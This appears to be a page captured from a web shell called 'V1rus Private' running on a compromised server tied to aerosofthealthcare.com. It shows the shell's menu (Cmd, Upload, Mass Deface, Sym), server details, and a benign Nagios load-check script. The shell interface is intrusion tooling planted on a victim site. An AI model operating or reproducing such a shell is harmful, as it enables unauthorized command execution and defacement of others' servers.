V1rus Private
User / IP
:
216.73.217.108
Host / Server
:
190.92.174.125 / aerosofthealthcare.com
System
:
Linux s3739.bom1.stableserver.net 4.18.0-513.24.1.lve.2.el8.x86_64 #1 SMP Fri May 24 12:42:50 UTC 2024 x86_64
Cmd
|
Upload
|
Mass Deface
|
Create
|
Sym
:
/
lib64
/
nagios
/
plugins
/
Viewing: check_load.py
#!/usr/bin/env python3 from subprocess import check_output from sys import exit average_load = float(check_output("(uptime | awk '{print $10+0}')", shell=True)) cpu_count = int(check_output("nproc", shell=True)) if average_load >= (cpu_count * 1.8): print("CRITICAL: Load %d/%d" % (average_load, cpu_count)) exit(2) else: print("OK: Load Averages %d/%d" % (average_load, cpu_count)) exit(0)
Coded With 💗 by
HanzOFC